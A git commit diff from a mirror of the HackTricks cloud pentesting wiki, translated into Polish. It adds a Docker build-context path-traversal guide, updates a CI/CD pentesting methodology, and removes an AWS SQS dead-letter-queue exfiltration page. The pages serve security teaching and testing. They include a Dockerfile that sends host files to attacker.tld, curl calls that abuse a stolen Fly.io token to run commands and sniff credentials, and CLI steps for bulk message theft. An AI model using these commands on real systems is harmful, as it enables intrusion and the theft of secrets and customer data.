mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-ci-cd/docker-build-context-abuse.md', 'src/p
This commit is contained in:
Translator
@@ -0,0 +1,101 @@
|
||||
# Nadużywanie Docker Build Context w hostowanych builderach (Path Traversal, Exfil, and Cloud Pivot)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## TL;DR
|
||||
|
||||
Jeśli platforma CI/CD lub hosted builder pozwala contributorom określić ścieżkę build context i ścieżkę Dockerfile, często można ustawić context na katalog nadrzędny (np. "..") i uczynić pliki hosta częścią build context. Wówczas kontrolowany przez atakującego Dockerfile może użyć COPY i exfiltrate sekrety znalezione w katalogu domowym użytkownika buildera (np. ~/.docker/config.json). Skradzione registry tokens mogą też działać przeciwko providerowi poprzez control-plane APIs, umożliwiając org-wide RCE.
|
||||
|
||||
## Powierzchnia ataku
|
||||
|
||||
Wiele hostowanych usług builder/registry robi mniej więcej to przy budowaniu obrazów przesłanych przez użytkowników:
|
||||
- Odczytuje konfigurację na poziomie repo, która zawiera:
|
||||
- build context path (wysyłany do Docker daemon)
|
||||
- Dockerfile path względny względem tego contextu
|
||||
- Kopiuje wskazany katalog build context oraz Dockerfile do Docker daemon
|
||||
- Buduje obraz i uruchamia go jako hostowaną usługę
|
||||
|
||||
Jeśli platforma nie kanonizuje i nie ogranicza build context, użytkownik może ustawić go na lokalizację poza repozytorium (path traversal), powodując, że dowolne pliki hosta czytelne dla build usera staną się częścią build context i będą dostępne do COPY w Dockerfile.
|
||||
|
||||
Praktyczne ograniczenia obserwowane w praktyce:
|
||||
- Dockerfile musi znajdować się wewnątrz wybranego context path i jego ścieżka musi być znana z wyprzedzeniem.
|
||||
- build user musi mieć dostęp do odczytu plików dołączonych do context; specjalne pliki urządzeń mogą zepsuć kopiowanie.
|
||||
|
||||
## PoC: Path traversal via Docker build context
|
||||
|
||||
Przykładowa złośliwa konfiguracja serwera deklarująca Dockerfile w katalogu nadrzędnym contextu:
|
||||
```yaml
|
||||
runtime: "container"
|
||||
build:
|
||||
dockerfile: "test/Dockerfile" # Must reside inside the final context
|
||||
dockerBuildPath: ".." # Path traversal to builder user $HOME
|
||||
startCommand:
|
||||
type: "http"
|
||||
configSchema:
|
||||
type: "object"
|
||||
properties:
|
||||
apiKey:
|
||||
type: "string"
|
||||
required: ["apiKey"]
|
||||
exampleConfig:
|
||||
apiKey: "sk-example123"
|
||||
```
|
||||
Notatki:
|
||||
- Użycie ".." często odnosi się do katalogu domowego użytkownika builder (np. /home/builder), który zazwyczaj zawiera wrażliwe pliki.
|
||||
- Umieść swój Dockerfile w katalogu repo (np. repo "test" → test/Dockerfile), tak aby pozostał w obrębie rozszerzonego kontekstu nadrzędnego.
|
||||
|
||||
## PoC: Dockerfile to ingest and exfiltrate the host context
|
||||
```dockerfile
|
||||
FROM alpine
|
||||
RUN apk add --no-cache curl
|
||||
RUN mkdir /data
|
||||
COPY . /data # Copies entire build context (now builder’s $HOME)
|
||||
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
|
||||
```
|
||||
Typowe cele odzyskiwane z $HOME:
|
||||
- ~/.docker/config.json (registry auths/tokens)
|
||||
- Inne cache i pliki konfiguracyjne cloud/CLI (np. ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
|
||||
|
||||
Uwaga: Nawet jeśli w repozytorium znajduje się plik .dockerignore, podatny mechanizm wyboru kontekstu po stronie platformy nadal kontroluje, co zostanie wysłane do daemon. Jeśli platforma skopiuje wybraną ścieżkę do daemon zanim oceni .dockerignore w repozytorium, pliki hosta nadal mogą zostać ujawnione.
|
||||
|
||||
## Pivot w chmurze z nadmiernie uprzywilejowanymi tokens (przykład: Fly.io Machines API)
|
||||
|
||||
Niektóre platformy wydają pojedynczy bearer token, który można użyć zarówno dla container registry, jak i control-plane API. Jeśli exfiltrate'ujesz registry token, spróbuj go użyć przeciwko provider API.
|
||||
|
||||
Przykładowe wywołania API przeciwko Fly.io Machines API używające skradzionego tokena z ~/.docker/config.json:
|
||||
|
||||
Wypisz aplikacje w organizacji:
|
||||
```bash
|
||||
curl -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps?org_slug=smithery"
|
||||
```
|
||||
Uruchom polecenie jako root wewnątrz dowolnej maszyny aplikacji:
|
||||
```bash
|
||||
curl -s -X POST -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
|
||||
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
|
||||
```
|
||||
Wynik: org-wide remote code execution we wszystkich hostowanych aplikacjach, jeśli token posiada wystarczające uprawnienia.
|
||||
|
||||
## Kradzież sekretów z kompromitowanych hostowanych usług
|
||||
|
||||
Mając exec/RCE na hostowanych serwerach, możesz pozyskać sekrety dostarczone przez klienta (API keys, tokens) lub przeprowadzić prompt-injection attacks. Przykład: zainstaluj tcpdump i przechwyć ruch HTTP na porcie 8080, aby wydobyć przychodzące poświadczenia.
|
||||
```bash
|
||||
# Install tcpdump inside the machine
|
||||
curl -s -X POST -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
|
||||
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'
|
||||
|
||||
# Capture traffic
|
||||
curl -s -X POST -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
|
||||
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
|
||||
```
|
||||
Przechwycone żądania często zawierają poświadczenia klienta w nagłówkach, ciałach żądań lub parametrach zapytania.
|
||||
|
||||
## Źródła
|
||||
|
||||
- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/)
|
||||
- [Fly.io Machines API](https://fly.io/docs/machines/api/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
@@ -1,4 +1,4 @@
|
||||
# Metodologia Pentesting CI/CD
|
||||
# Pentesting CI/CD Metodologia
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
## VCS
|
||||
|
||||
VCS oznacza **System Kontroli Wersji**, ten system pozwala deweloperom **zarządzać swoim kodem źródłowym**. Najpopularniejszym jest **git** i zwykle znajdziesz firmy korzystające z niego na jednej z następujących **platform**:
|
||||
VCS oznacza **Version Control System**, ten system pozwala deweloperom **zarządzać swoim kodem źródłowym**. Najbardziej powszechny to **git** i zazwyczaj znajdziesz firmy używające go na jednej z następujących **platform**:
|
||||
|
||||
- Github
|
||||
- Gitlab
|
||||
@@ -18,86 +18,93 @@ VCS oznacza **System Kontroli Wersji**, ten system pozwala deweloperom **zarząd
|
||||
|
||||
## CI/CD Pipelines
|
||||
|
||||
CI/CD pipelines umożliwiają deweloperom **automatyzację uruchamiania kodu** w różnych celach, w tym budowy, testów i deployu aplikacji. Te zautomatyzowane workflowy są **wyzwalane przez konkretne akcje**, takie jak pushy kodu, pull requesty lub zadania zaplanowane. Ułatwiają one usprawnienie procesu od developmentu do produkcji.
|
||||
CI/CD pipelines umożliwiają deweloperom **automatyzację wykonywania kodu** w różnych celach, w tym budowania, testowania i wdrażania aplikacji. Te zautomatyzowane workflowy są **wyzwalane przez określone akcje**, takie jak pushy kodu, pull requesty lub zadania zaplanowane. Ułatwiają one usprawnienie procesu od developmentu do produkcji.
|
||||
|
||||
Jednak te systemy muszą być **uruchamiane gdzieś** i zwykle wymagają **uprzywilejowanych poświadczeń do deployu kodu lub dostępu do wrażliwych informacji**.
|
||||
Jednak te systemy muszą być **wykonywane gdzieś** i zwykle z **uprzywilejowanymi poświadczeniami do wdrażania kodu lub dostępu do wrażliwych informacji**.
|
||||
|
||||
## VCS Pentesting Methodology
|
||||
## VCS Pentesting Metodologia
|
||||
|
||||
> [!NOTE]
|
||||
> Nawet jeśli niektóre platformy VCS umożliwiają tworzenie pipeline'ów, w tej sekcji przeanalizujemy tylko potencjalne ataki na kontrolę nad kodem źródłowym.
|
||||
> Nawet jeśli niektóre platformy VCS pozwalają tworzyć pipelines, w tej sekcji przeanalizujemy tylko potencjalne ataki na kontrolę kodu źródłowego.
|
||||
|
||||
Platformy zawierające kod źródłowy Twojego projektu przechowują wrażliwe informacje i trzeba być bardzo ostrożnym z uprawnieniami nadawanymi w obrębie tej platformy. Oto kilka powszechnych problemów na platformach VCS, które atakujący może wykorzystać:
|
||||
Platformy przechowujące kod źródłowy projektu zawierają wrażliwe informacje i trzeba bardzo uważać na uprawnienia przyznawane w tej platformie. Oto kilka typowych problemów w platformach VCS, które atakujący może wykorzystać:
|
||||
|
||||
- **Leaks**: Jeśli Twój kod zawiera leaks w commitach i atakujący ma dostęp do repo (bo jest publiczne lub ma dostęp), może odkryć te leaks.
|
||||
- **Access**: Jeśli atakujący może **uzyskać dostęp do konta na platformie VCS**, może zdobyć **większą widoczność i uprawnienia**.
|
||||
- **Register**: Niektóre platformy pozwalają po prostu zewnętrznym użytkownikom na założenie konta.
|
||||
- **SSO**: Niektóre platformy nie pozwalają na rejestrację, ale pozwalają każdemu zalogować się za pomocą ważnego SSO (np. atakujący mógłby użyć swojego konta github, żeby wejść).
|
||||
- **Leaks**: Jeśli twój kod zawiera leak w commitach i atakujący może uzyskać dostęp do repo (bo jest publiczne lub ma dostęp), może odkryć te leak.
|
||||
- **Access**: Jeśli atakujący może uzyskać dostęp do konta na platformie VCS, może zyskać **większą widoczność i uprawnienia**.
|
||||
- **Register**: Niektóre platformy po prostu pozwalają zewnętrznym użytkownikom tworzyć konto.
|
||||
- **SSO**: Niektóre platformy nie pozwalają na rejestrację, ale pozwalają na logowanie każdemu z ważnym SSO (więc atakujący mógłby użyć np. swojego github konta, aby wejść).
|
||||
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... istnieje wiele rodzajów tokenów, które użytkownik może ukraść, aby w jakiś sposób uzyskać dostęp do repo.
|
||||
- **Webhooks**: Platformy VCS pozwalają tworzyć webhooks. Jeśli nie są **chronione** niewidzialnymi sekretami, **atakujący może je nadużyć**.
|
||||
- Jeśli nie ma sekretu, atakujący może nadużyć webhooka platformy zewnętrznej.
|
||||
- Jeśli sekret jest w URL, dzieje się to samo i atakujący również ma ten sekret.
|
||||
- **Code compromise:** Jeśli złośliwy aktor ma jakiś rodzaj **write** dostępu do repo, może spróbować **wstrzyknąć złośliwy kod**. Aby odnieść sukces, może być konieczne **obejście ochrony gałęzi**. Te działania mogą być wykonywane z różnymi celami po drodze:
|
||||
- Skompromitować gałąź main, aby **skompromitować production**.
|
||||
- Skompromitować main (lub inne gałęzie), aby **skompromitować maszyny deweloperów** (ponieważ zwykle wykonują testy, terraform lub inne rzeczy w repo na swoich maszynach).
|
||||
- **Compromise the pipeline** (zobacz następną sekcję)
|
||||
- **Webhooks**: Platformy VCS pozwalają tworzyć webhooks. Jeśli nie są **chronione** przy pomocy sekretów niewidocznych, **atakujący może je wykorzystać**.
|
||||
- If no secret is in place, the attacker could abuse the webhook of the third party platform
|
||||
- If the secret is in the URL, the same happens and the attacker also have the secret
|
||||
- **Code compromise:** Jeśli złośliwy aktor ma jakiś rodzaj **write** dostępu do repos, może spróbować **wstrzyknąć złośliwy kod**. Aby odnieść sukces, może musieć **obejść branch protections**. Te działania mogą być wykonane z różnymi celami:
|
||||
- Skompromitować główną gałąź, aby **skompromitować produkcję**.
|
||||
- Skompromitować main (lub inne branche), aby **skompromitować maszyny deweloperów** (ponieważ zwykle wykonują testy, terraform lub inne rzeczy z repo na swoich maszynach).
|
||||
- **Skompromitować pipeline** (zobacz następną sekcję)
|
||||
|
||||
## Pipelines Pentesting Methodology
|
||||
|
||||
Najczęstszym sposobem definiowania pipeline'a jest użycie **pliku konfiguracyjnego CI hostowanego w repozytorium**, które pipeline buduje. Ten plik opisuje kolejność wykonywanych jobów, warunki wpływające na flow oraz ustawienia środowiska budowy.\
|
||||
Pliki te mają zwykle stałą nazwę i format, np. — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) oraz pliki YAML GitHub Actions znajdujące się pod .github/workflows. Po wyzwoleniu, job pipeline **pobiera kod** ze wskazanego źródła (np. commit / branch) i **uruchamia komendy określone w pliku konfiguracyjnym CI** na tym kodzie.
|
||||
Najczęstszym sposobem definiowania pipeline jest użycie **CI configuration file hostowanego w repo**, które pipeline buduje. Ten plik opisuje kolejność wykonywanych jobów, warunki wpływające na flow oraz ustawienia środowiska builda.\
|
||||
Takie pliki zwykle mają spójną nazwę i format, na przykład — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) oraz pliki YAML GitHub Actions w .github/workflows. Gdy są wyzwalane, job pipeline **pobiera kod** ze wskazanego źródła (np. commit / branch) i **uruchamia polecenia określone w CI configuration file** przeciwko temu kodowi.
|
||||
|
||||
Dlatego ostatecznym celem atakującego jest w jakiś sposób **skompromitować te pliki konfiguracyjne** lub **komendy, które one wykonują**.
|
||||
Dlatego ostatecznym celem atakującego jest w jakiś sposób **skompromitować te pliki konfiguracyjne** lub **polecenia, które wykonują**.
|
||||
|
||||
> [!TIP]
|
||||
> Niektórzy hostowani build-ersi pozwalają contributorom wybierać Docker build context i Dockerfile path. Jeśli context jest kontrolowany przez atakującego, możesz ustawić go poza repo (np. ".."), aby wciągnąć pliki hosta podczas builda i exfiltrate secrets. Zobacz:
|
||||
>
|
||||
>{{#ref}}
|
||||
>docker-build-context-abuse.md
|
||||
>{{#endref}}
|
||||
|
||||
### PPE - Poisoned Pipeline Execution
|
||||
|
||||
The Poisoned Pipeline Execution (PPE) path wykorzystuje uprawnienia w repozytorium SCM do manipulacji pipeline'em CI i uruchamiania szkodliwych poleceń. Użytkownicy z odpowiednimi uprawnieniami mogą modyfikować pliki konfiguracyjne CI lub inne pliki używane przez job pipeline, aby dodać złośliwe polecenia. To „truje” CI pipeline, prowadząc do wykonania tych złośliwych poleceń.
|
||||
Poisoned Pipeline Execution (PPE) wykorzystuje uprawnienia w repo SCM do manipulacji CI pipeline i wykonania szkodliwych poleceń. Użytkownicy z odpowiednimi uprawnieniami mogą modyfikować CI configuration files lub inne pliki używane przez job pipeline, aby dodać złośliwe polecenia. To „zatrucie” CI pipeline prowadzi do wykonania tych złośliwych poleceń.
|
||||
|
||||
Aby złośliwy aktor odniósł sukces wykonując atak PPE, musi:
|
||||
Aby złośliwy aktor mógł odnieść sukces w ataku PPE, musi:
|
||||
|
||||
- Mieć **write access to the VCS platform**, ponieważ pipeline'y zwykle są wyzwalane przy pushu lub pull requestcie. (Sprawdź VCS pentesting methodology dla podsumowania sposobów uzyskania dostępu).
|
||||
- Zauważ, że czasami **zewnętrzny PR liczy się jako "write access"**.
|
||||
- Nawet mając uprawnienia zapisu, musi mieć pewność, że może **zmodyfikować plik konfiguracyjny CI lub inne pliki, na których konfiguracja polega**.
|
||||
- W tym celu może być konieczne **obejście ochrony gałęzi**.
|
||||
- Mieć **write access do platformy VCS**, ponieważ zwykle pipeline są wyzwalane przy pushu lub pull requestcie. (Zobacz VCS pentesting methodology dla podsumowania sposobów na zdobycie dostępu).
|
||||
- Zwróć uwagę, że czasami **external PR liczy się jako "write access"**.
|
||||
- Nawet mając uprawnienia do zapisu, musi się upewnić, że może **zmodyfikować CI config file lub inne pliki, na których config polega**.
|
||||
- W tym celu może wymagać umiejętności **obejścia branch protections**.
|
||||
|
||||
Są 3 odmiany PPE:
|
||||
Istnieją 3 odmiany PPE:
|
||||
|
||||
- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed.
|
||||
- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config).
|
||||
- **Public PPE or 3PE**: W niektórych przypadkach pipeline'y mogą być **wyzwalane przez użytkowników, którzy nie mają write access w repo** (i którzy nawet mogą nie należeć do organizacji), ponieważ mogą wysłać PR.
|
||||
- **3PE Command Injection**: Zwykle CI/CD pipeline'y będą **ustawiać zmienne środowiskowe** z **informacjami o PR**. Jeśli tę wartość może kontrolować atakujący (np. tytuł PR) i jest **używana** w **niebezpiecznym miejscu** (np. przy wykonywaniu **sh commands**), atakujący może **wstrzyknąć tam polecenia**.
|
||||
- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR.
|
||||
- **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**.
|
||||
|
||||
### Exploitation Benefits
|
||||
|
||||
Znając 3 odmiany zatrucia pipeline'a, sprawdźmy, co atakujący może uzyskać po udanej eksploatacji:
|
||||
Znając 3 odmiany zatrucia pipeline, sprawdźmy, co atakujący może uzyskać po udanej eksploatacji:
|
||||
|
||||
- **Secrets**: Jak wspomniano wcześniej, pipeline'y wymagają **uprawnień** do swoich jobów (pobrać kod, zbudować, zdeployować...) i te uprawnienia są zwykle **przyznawane w sekretach**. Te sekrety zwykle są dostępne przez **zmienne środowiskowe lub pliki w systemie**. Dlatego atakujący zawsze będzie próbował wyeksfiltrować jak najwięcej sekretów.
|
||||
- W zależności od platformy pipeline atakujący **może musieć określić sekrety w konfiguracji**. To oznacza, że jeśli atakujący nie może zmodyfikować konfiguracji CI (np. **I-PPE**), mógłby **wyeksfiltrować tylko sekrety, które ma dany pipeline**.
|
||||
- **Computation**: Kod jest wykonywany gdzieś — w zależności od miejsca wykonywania atakujący może być w stanie pivotować dalej.
|
||||
- **On-Premises**: Jeśli pipeline'y są wykonywane on-premises, atakujący może trafić do **sieci wewnętrznej z dostępem do większej ilości zasobów**.
|
||||
- **Cloud**: Atakujący może uzyskać dostęp do **innych maszyn w chmurze**, ale także może **wyeksfiltrować** tokeny ról IAM/service accounts, żeby uzyskać **dalej idący dostęp w chmurze**.
|
||||
- **Platforms machine**: Czasami joby będą wykonywane na **maszynach platformy pipelines**, które zwykle znajdują się w chmurze i mają **ograniczony dostęp**.
|
||||
- **Select it:** Czasami **platforma pipeline będzie miała skonfigurowane różne maszyny** i jeśli możesz **zmodyfikować plik konfiguracyjny CI**, możesz **wskazać, gdzie chcesz uruchomić złośliwy kod**. W takiej sytuacji atakujący prawdopodobnie odpali reverse shell na każdej możliwej maszynie, aby spróbować dalej ją eksploatować.
|
||||
- **Compromise production**: Jeśli jesteś wewnątrz pipeline'a i finalna wersja jest budowana i deployowana z niego, możesz **skompromitować kod, który trafi do produkcji**.
|
||||
- **Secrets**: Jak wspomniano wcześniej, pipeline wymagają **uprawnień** dla swoich jobów (pobranie kodu, budowa, deploy...) i te uprawnienia są zwykle **przechowywane w secrets**. Te secrets są zwykle dostępne przez **zmienne środowiskowe (env variables) lub pliki w systemie**. Dlatego atakujący zawsze będzie próbował wyfiltrować jak najwięcej secrets.
|
||||
- W zależności od platformy pipeline atakujący **może musieć określić secrets w konfiguracji**. To oznacza, że jeśli atakujący nie może zmodyfikować CI configuration pipeline (**I-PPE** na przykład), mógłby **jedynie wyfiltrować te secrets, które ten pipeline posiada**.
|
||||
- **Computation**: Kod jest wykonywany gdzieś; w zależności od miejsca wykonania atakujący może być w stanie dokonać pivotu dalej.
|
||||
- **On-Premises**: Jeśli pipeline są wykonywane on-premises, atakujący może trafić do **sieci wewnętrznej z dostępem do większej liczby zasobów**.
|
||||
- **Cloud**: Atakujący może uzyskać dostęp do **innych maszyn w chmurze**, ale także może **exfiltrate** IAM roles/service accounts **tokens** z chmury, aby uzyskać **dalszy dostęp wewnątrz chmury**.
|
||||
- **Platforms machine**: Czasami joby będą wykonywane na **maszynach platformy pipelines**, które zwykle są w chmurze i **nie mają dalszego dostępu**.
|
||||
- **Select it:** Czasami **platforma pipelines ma skonfigurowane wiele maszyn** i jeśli możesz **zmodyfikować CI configuration file** możesz **wskazać, gdzie chcesz uruchomić złośliwy kod**. W takiej sytuacji atakujący prawdopodobnie uruchomi reverse shell na każdej możliwej maszynie, aby spróbować ją dalej wykorzystać.
|
||||
- **Compromise production**: Jeśli jesteś w pipeline i końcowa wersja jest zbudowana i wdrażana z niego, możesz **skompromitować kod, który ostatecznie zostanie uruchomiony w produkcji**.
|
||||
|
||||
## More relevant info
|
||||
|
||||
### Tools & CIS Benchmark
|
||||
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) to narzędzie open-source do audytu Twojego stacku software supply chain pod kątem zgodności bezpieczeństwa, oparte na nowym [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Audyt koncentruje się na całym procesie SDLC, gdzie może ujawnić ryzyka od czasu tworzenia kodu po czas jego deployu.
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) jest narzędziem open-source do audytu Twojego software supply chain stack pod kątem zgodności bezpieczeństwa na bazie nowego [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Audyt skupia się na całym procesie SDLC, gdzie może ujawnić ryzyka od czasu kodu do czasu wdrożenia.
|
||||
|
||||
### Top 10 CI/CD Security Risk
|
||||
|
||||
Sprawdź ciekawy artykuł o top 10 ryzyk CI/CD według Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
Sprawdź ciekawy artykuł o top 10 ryzykach CI/CD według Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
|
||||
### Labs
|
||||
|
||||
- Na każdej platformie, którą możesz uruchomić lokalnie, znajdziesz instrukcję jak ją uruchomić lokalnie, abyś mógł skonfigurować ją tak, jak chcesz do testów
|
||||
- Na każdej platformie, którą możesz uruchomić lokalnie, znajdziesz instrukcje jak ją uruchomić lokalnie, aby skonfigurować ją według własnych potrzeb i testować.
|
||||
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
|
||||
|
||||
### Automatic Tools
|
||||
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** to narzędzie do statycznej analizy kodu dla infrastructure-as-code.
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** jest narzędziem do statycznej analizy kodu dla infrastructure-as-code.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
-154
@@ -1,154 +0,0 @@
|
||||
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Opis
|
||||
|
||||
Nadużyj zadań przenoszenia wiadomości SQS, aby ukraść wszystkie zgromadzone wiadomości z Dead-Letter Queue (DLQ) ofiary, przekierowując je do kolejki kontrolowanej przez atakującego przy użyciu `sqs:StartMessageMoveTask`. Ta technika wykorzystuje legalną funkcję odzyskiwania wiadomości w AWS do eksfiltracji wrażliwych danych, które gromadziły się w DLQ przez dłuższy czas.
|
||||
|
||||
## Czym jest Dead-Letter Queue (DLQ)?
|
||||
|
||||
Dead-Letter Queue to specjalna kolejka SQS, do której automatycznie trafiają wiadomości, gdy główna aplikacja nie jest w stanie ich poprawnie przetworzyć. Te nieprzetworzone wiadomości często zawierają:
|
||||
- Wrażliwe dane aplikacji, których nie udało się przetworzyć
|
||||
- Szczegóły błędów i informacje do debugowania
|
||||
- Personal Identifiable Information (PII)
|
||||
- API tokens, poświadczenia lub inne sekrety
|
||||
- Krytyczne dla biznesu dane transakcyjne
|
||||
|
||||
DLQ pełnią rolę "cmentarza" dla nieudanych wiadomości, co czyni je wartościowymi celami, ponieważ z czasem gromadzą wrażliwe dane, których aplikacje nie potrafiły obsłużyć.
|
||||
|
||||
## Scenariusz ataku
|
||||
|
||||
**Przykład z życia:**
|
||||
1. **Aplikacja e-commerce** przetwarza zamówienia klientów przez SQS
|
||||
2. **Niektóre zamówienia zawodzą** (problemy z płatnością, braki w magazynie itp.) i trafiają do DLQ
|
||||
3. **DLQ gromadzi** przez tygodnie/miesiące nieudane zamówienia zawierające dane klientów: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **Atakujący uzyskuje dostęp** do poświadczeń AWS z uprawnieniami do SQS
|
||||
5. **Atakujący odkrywa**, że DLQ zawiera tysiące nieudanych zamówień z wrażliwymi danymi
|
||||
6. **Zamiast próbować uzyskać dostęp do pojedynczych wiadomości** (powolne i oczywiste), atakujący używa `StartMessageMoveTask`, aby masowo przenieść WSZYSTKIE wiadomości do swojej kolejki
|
||||
7. **Atakujący wydobywa** wszystkie historyczne wrażliwe dane w jednej operacji
|
||||
|
||||
## Wymagania
|
||||
- Kolejka źródłowa musi być skonfigurowana jako DLQ (referencjonowana przez przynajmniej jedną kolejkę w RedrivePolicy).
|
||||
- Uprawnienia IAM (działając jako skompromitowany podmiot ofiary):
|
||||
- Na DLQ (źródło): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- Na kolejce docelowej: uprawnienie do dostarczania wiadomości (np. polityka kolejki pozwalająca `sqs:SendMessage` od podmiotu ofiary). Dla destynacji w tym samym koncie jest to zazwyczaj dozwolone domyślnie.
|
||||
- Jeśli SSE-KMS jest włączone: na źródłowym CMK `kms:Decrypt`, oraz na docelowym CMK `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
|
||||
## Wpływ
|
||||
Eksfiltracja wrażliwych ładunków zgromadzonych w DLQ (nieudane zdarzenia, PII, tokeny, payloady aplikacji) z dużą szybkością przy użyciu natywnych API SQS. Działa cross-account, jeśli polityka kolejki docelowej pozwala `SendMessage` od podmiotu ofiary.
|
||||
|
||||
## Jak nadużyć
|
||||
|
||||
- Zidentyfikuj ARN ofiarnej DLQ i upewnij się, że jest ona faktycznie referencjonowana jako DLQ przez jakąś kolejkę (dowolna kolejka wystarczy).
|
||||
- Utwórz lub wybierz kontrolowaną przez atakującego kolejkę docelową i zdobądź jej ARN.
|
||||
- Uruchom zadanie przeniesienia wiadomości ze złośliwej DLQ do swojej kolejki docelowej.
|
||||
- Monitoruj postęp lub anuluj w razie potrzeby.
|
||||
|
||||
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
|
||||
|
||||
**Scenariusz**: Atakujący skompromitował poświadczenia AWS i odkrył, że aplikacja e-commerce używa SQS z DLQ zawierającą nieudane próby przetworzenia zamówień klientów.
|
||||
|
||||
1) **Odkryj i przeanalizuj ofiarną DLQ**
|
||||
```bash
|
||||
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
|
||||
aws sqs list-queues --queue-name-prefix dlq
|
||||
|
||||
# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
|
||||
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
|
||||
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
# Check how many messages are in the DLQ (potential treasure trove!)
|
||||
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
|
||||
--attribute-names ApproximateNumberOfMessages
|
||||
# Output might show: "ApproximateNumberOfMessages": "1847"
|
||||
```
|
||||
2) **Utwórz docelową kolejkę kontrolowaną przez atakującego**
|
||||
```bash
|
||||
# Create our exfiltration queue
|
||||
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
|
||||
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
|
||||
```
|
||||
3) **Wykonaj masową kradzież wiadomości**
|
||||
```bash
|
||||
# Start moving ALL messages from victim DLQ to our queue
|
||||
# This operation will transfer thousands of failed orders containing customer data
|
||||
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
|
||||
TASK_RESPONSE=$(aws sqs start-message-move-task \
|
||||
--source-arn "$SRC_ARN" \
|
||||
--destination-arn "$ATTACKER_Q_ARN" \
|
||||
--max-number-of-messages-per-second 100)
|
||||
|
||||
echo "Move task started: $TASK_RESPONSE"
|
||||
|
||||
# Monitor the theft progress
|
||||
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
|
||||
```
|
||||
4) **Zgromadź skradzione wrażliwe dane**
|
||||
```bash
|
||||
# Receive the exfiltrated customer data
|
||||
echo "Receiving stolen customer data..."
|
||||
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--attribute-names All --message-attribute-names All \
|
||||
--max-number-of-messages 10 --wait-time-seconds 5
|
||||
|
||||
# Example of what an attacker might see:
|
||||
# {
|
||||
# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
|
||||
# "MessageId": "12345-abcd-6789-efgh"
|
||||
# }
|
||||
|
||||
# Continue receiving all messages in batches
|
||||
while true; do
|
||||
